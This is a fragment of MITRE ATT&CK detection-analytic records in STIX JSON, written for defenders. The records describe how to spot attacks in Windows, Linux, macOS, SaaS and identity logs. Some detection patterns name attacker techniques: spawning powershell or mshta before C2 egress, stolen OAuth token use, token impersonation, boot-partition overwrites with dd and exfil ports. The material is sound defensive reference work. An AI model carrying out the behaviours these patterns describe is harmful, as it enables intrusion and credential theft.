            "description": "Cause\u2192effect chain: (1) A client app (browser, Office, PDF/Flash/reader) experiences a crash/abnormal exit or loads from an unusual location, then (2) drops or modifies a file in user-writable paths, and/or (3) spawns an unexpected child (e.g., powershell/cmd/mshta/rundll32/wscript/installer), and (4) establishes outbound C2-like connections shortly after. Correlate application logs, file writes, process lineage, and network egress within a short window.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "channel": "EventCode=1000"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "channel": "EventCode=3, 22"
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                },
                {
                    "field": "UserPaths",
                    "description": "Writable paths to watch (Downloads, %TEMP%, %APPDATA%, OneDrive, Office startup folders)."
                },
                {
                    "field": "AllowedPlugins",
                    "description": "Known add-ins/extensions and updater binaries to reduce noise."
                },
                {
                    "field": "EgressAllowlist",
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            "description": "Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service \u2192 hostd/vpxd error/crash/restart \u2192 unexpected process behavior or datastore access \u2192 outbound callback.",
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                {
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                    "field": "TimeWindow",
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "name": "WinEventLog:Security",
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                    "name": "WinEventLog:Sysmon",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "TrustedUserContext",
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                {
                    "field": "BusinessHoursThreshold",
                    "description": "Time-based threshold for elevated alerting on permission changes outside business hours"
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            "id": "x-mitre-analytic--0677b819-0586-454c-9f4d-c861ccaf1b73",
            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN1427"
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            ],
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            "name": "Analytic 1427",
            "description": "Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace \u2014 especially from new IPs, apps, or excessive resource access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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            ],
            "x_mitre_platforms": [
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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                    "channel": "Access via OAuth credentials with unusual scopes or from anomalous IPs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:slack",
                    "channel": "OAuth token use by unknown app client_id accessing private channels or files"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GeoVelocity",
                    "description": "Flag when token use appears across geographically distant logins"
                },
                {
                    "field": "OAuthScopeSensitivity",
                    "description": "Weight certain scopes (admin, file.read) as higher risk"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--06c3cd77-148a-424e-a55e-1e11ff3d9504",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0844#AN1976",
                    "external_id": "AN1976"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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            ],
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            "name": "Analytic 1976",
            "description": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "PRE"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--06e0501e-a87e-452d-9ab5-93ed9a5eade5",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1619"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1619",
            "description": "Account discovery via VBA macros, COM objects, or embedded scripting.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "m365:unified",
                    "channel": "Scripted Activity"
                }
            ],
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                {
                    "field": "MacroName",
                    "description": "Alert on auto-running macros accessing directory or user info."
                },
                {
                    "field": "ExecutionScope",
                    "description": "Focus on macros invoking LDAP, ADODB, or WMI queries."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1247"
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            "name": "Analytic 1247",
            "description": "Detection monitors extended attribute manipulation (xattr) to strip quarantine or trust metadata, anomalous installation of root certificates in /etc/ssl or /usr/local/share/ca-certificates, and unauthorized modification of system trust stores. Correlates with unexpected process execution involving package managers or custom certificate utilities.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:EXECVE",
                    "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CertificatePathList",
                    "description": "Paths to monitor for changes depending on distro-specific trust locations"
                },
                {
                    "field": "RegexPatterns",
                    "description": "Regex patterns for suspicious use of xattr or openssl parameters"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0729dd54-2fda-460a-8bb3-eee02f0f3c4e",
            "created": "2025-10-21T15:10:28.402Z",
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            "modified": "2025-10-21T15:10:28.402Z",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "networkdevice:syslog",
                    "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "networkdevice:Flow",
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            ],
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                {
                    "field": "ConfigChangeType",
                    "description": "Tune based on accepted interface config changes (e.g., audit only mirror session creation)"
                },
                {
                    "field": "MirrorDestinationPort",
                    "description": "Define high-risk ports used for exfil (e.g., 4443, 8443, 2055)"
                },
                {
                    "field": "DeviceRole",
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                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--07b8a45e-6435-4c67-ac15-47db21c1d1b9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0817"
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            ],
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            ],
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0278#AN0775",
                    "external_id": "AN0775"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0775",
            "description": "Detection of writes to /boot or EFI directories outside of expected package manager updates. Monitoring kernel log and auditd events for attempts to overwrite bootloader binaries (e.g., grub, shim). Unexpected execution of efibootmgr or dd writing to /dev/sdX devices followed by boot parameter changes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "open, write: Modification of /boot/grub/* or /boot/efi/*"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:EXECVE",
                    "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PackageManagerUpdateWhitelist",
                    "description": "Allowlist of legitimate grub/shim updates via apt, yum, or rpm."
                },
                {
                    "field": "FilesystemPaths",
                    "description": "Directories (e.g., /boot/efi, /boot/grub) monitored for unauthorized modification."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--09125bb1-29eb-4d40-994a-2e1aa7bcd105",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0326#AN0928",
                    "external_id": "AN0928"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0928",
            "description": "Shell scripts or binaries implement custom mapping tables (tr/sed/awk/golang/rust/python encode loops), or emit long high-entropy tokens that fail Base64/Hex validation \u2192 correlated with egress showing asymmetric flow, protocol-mismatch payloads, or DNS/HTTP bodies containing low-diversity-but-long custom alphabets.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs"
                }
            ],
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                {
                    "field": "EntropyThreshold",
                    "description": "Payload entropy minimum."
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                {
                    "field": "TokenLengthThreshold",
                    "description": "Length threshold for suspect tokens."
                },
                {
                    "field": "BytesOutToInRatio",
                    "description": "Asymmetry cutoff for flows."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation join window."
                },
                {
                    "field": "KnownEncoders",
                    "description": "Legitimate internal tools/agents."
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0922c3e9-26fb-4330-8d7a-2b9a4661db88",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0833#AN1965",
                    "external_id": "AN1965"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1965",
            "description": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--092689c7-be8a-4d11-99d8-7dd96afa938d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1244"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1244",
            "description": "Detect user-initiated kextload commands or modifications to /Library/Extensions. Correlate with changes to KextPolicy database or unauthorized developer signing identities. Alert on attempts to disable SIP or load legacy extensions from unsigned sources.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "kextload execution from Terminal or suspicious paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "Processes executing kextload, spctl, or modifying kernel extension directories"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c",
                    "name": "macos:osquery",
                    "channel": "New kext entries not signed by Apple or outside standard identifier prefix"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:osquery",
                    "channel": "Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DeveloperIDAllowlist",
                    "description": "Approved developer IDs whose kexts should not trigger alerts"
                },
                {
                    "field": "KextLoadTimeWindow",
                    "description": "Threshold for detecting kext loads outside standard install/update operations"
                },
                {
                    "field": "SignatureCheckFlag",
                    "description": "Flag to enforce strict signing checks depending on SIP status"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0929e9c5-2e1a-4cc1-a9c5-df081b180201",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0456#AN1253",
                    "external_id": "AN1253"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1253",
            "description": "A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a **new** process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API \u2192 (2) privileged handle or token duplication/open \u2192 (3) new child process running as another user / higher integrity \u2192 (4) optional follow\u2011on privileged/lateral actions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "ETW:ProcThread",
                    "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672, 4634"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5136"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between API/handle access and the spawned process (default 5\u201310 minutes)."
                },
                {
                    "field": "AllowedImpersonators",
                    "description": "Service accounts/binaries legitimately using CreateProcessWithTokenW (e.g., PsExec service, SCCM, backup agents)."
                },
                {
                    "field": "IntegrityEscalationDelta",
                    "description": "Minimum jump in integrity level (e.g., Medium\u2192System) to flag."
                },
                {
                    "field": "ParentChildUserMismatch",
                    "description": "Treat any parent/child SID or LogonId mismatch as suspicious unless on allow-list."
                },
                {
                    "field": "SensitiveTargets",
                    "description": "List of processes (e.g., lsass.exe, winlogon.exe, services.exe) whose token access prior to the spawn raises score."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0961ff0c-8c36-4820-948d-12855b7f5cc7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0386#AN1089",
                    "external_id": "AN1089"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1089",
            "description": "Bulk enumeration of cloud user email identities through `Get-Recipient`, `Get-Mailbox`, `Get-User`, or Graph API directory listings by abnormal accounts or suspicious sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "CmdletName: Get-Recipient, Get-User"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "Microsoft Graph API Logs",
                    "channel": "users.list, directoryObjects.getByIds"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CmdletVolume",
                    "description": "Tune threshold for recipient/mailbox queries by volume per hour."
                },
                {
                    "field": "UserAgent",
                    "description": "Match known admin consoles and exclude sanctioned tools like MSOL PowerShell."
                },
                {
                    "field": "SessionContext",
                    "description": "Elevate sessions from unmanaged or external endpoints."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0979e7f1-9d0a-4549-be8f-88979df5c8d7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0093#AN0256",
                    "external_id": "AN0256"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0256",
            "description": "Adversary uses `dscl`, `who`, or environment variables like `$USER` to identify accounts or sessions via Terminal or malicious LaunchAgents.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "subsystem:com.apple.Terminal"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LaunchAgentPersistence",
                    "description": "Correlate dscl usage with known persistence vectors"
                },
                {
                    "field": "CommandExecutionPath",
                    "description": "Distinguish between user-initiated terminal vs. script execution"
                },
                {
                    "field": "UsernameEnumerationPattern",
                    "description": "Regex-based pattern tuning for `dscl . -list /Users` + grep filters"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--097ce8cb-9a38-4c8a-836c-cee15ccdf258",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0591#AN1628",
                    "external_id": "AN1628"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1628",
            "description": "Detects timestamp changes using `touch`, `SetFile`, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandMatch",
                    "description": "Touch/setfile and backdated timestamps"
                },
                {
                    "field": "UserContext",
                    "description": "Detects execution under non-interactive/system accounts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--098f0607-df17-4291-a1b1-a8e3374c075a",
            "created": "2025-10-22T20:40:20.993Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0897#AN2030",
                    "external_id": "AN2030"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 2030",
            "description": "A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlate multiply discovery activities and file enumeration activities."
                },
                {
                    "field": "DiscoveryActivityThreshold",
                    "description": "Minimum number of different discovery techniques within time window to trigger detection - balance between false positives and coverage (default: 4 activities)"
                },
                {
                    "field": "ExclusionTargetList",
                    "description": "List of extensions or folders considered suspicious when excluded (e.g., .dll, .exe, C:\\\\Program Files\\\\)"
                },
                {
                    "field": "AuthorizedExclusionModifiers",
                    "description": "Whitelist of known system management tools/processes allowed to modify exclusion settings"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0052#AN0142",
                    "external_id": "AN0142"
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            ],
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            "name": "Analytic 0142",
            "description": "Correlate command executions involving 'sudo' with elevated effective user ID (euid=0), especially when tty_tickets is disabled or timestamp_timeout is actively abused.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "auditd:SYSCALL",
                    "channel": "execve call for sudo where euid != uid"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "execve call for modification of /etc/sudoers or writing to /var/db/sudo"
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            ],
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                {
                    "field": "timestamp_timeout_threshold",
                    "description": "Tune the valid sudo session duration to reduce false positives"
                },
                {
                    "field": "command_allowlist",
                    "description": "Filter benign sudo usage (e.g., approved admin scripts)"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0192"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0192",
            "description": "Phishing attempts targeting IdPs often manifest as anomalous login attempts from suspicious email invitations or fake SSO prompts. Detection correlates login flows, MFA bypass attempts, and anomalous geographic patterns following phishing email delivery.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Identity Provider"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "azure:signinlogs",
                    "channel": "Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges"
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            ],
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                {
                    "field": "GeoAnomalyThreshold",
                    "description": "Allowed distance/time delta between user sign-ins."
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                {
                    "field": "MFABypassIndicators",
                    "description": "Signals of repeated or anomalous MFA failures linked to phishing campaigns."
                }
            ],
            "x_mitre_deprecated": false
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        {
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0184",
            "description": "Adversary installs or modifies IIS components (ISAPI filters, extensions, or modules) using DLL files registered via configuration changes or administrative tools like AppCmd.exe. These components intercept or manipulate HTTP requests/responses for persistence or C2.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                {
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                    "channel": "EventCode=7"
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222",
                    "name": "WinEventLog:Microsoft-IIS-Configuration",
                    "channel": "Module or ISAPI filter registration events"
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                {
                    "field": "TimeWindow",
                    "description": "Adjustable time frame for detecting chained events (e.g., config change + module load)"
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                {
                    "field": "UserContext",
                    "description": "Scope detection to specific users or roles allowed to modify IIS components"
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                    "field": "WatchedPaths",
                    "description": "Specific directories such as %windir%\\System32\\inetsrv\\ for DLL monitoring"
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                {
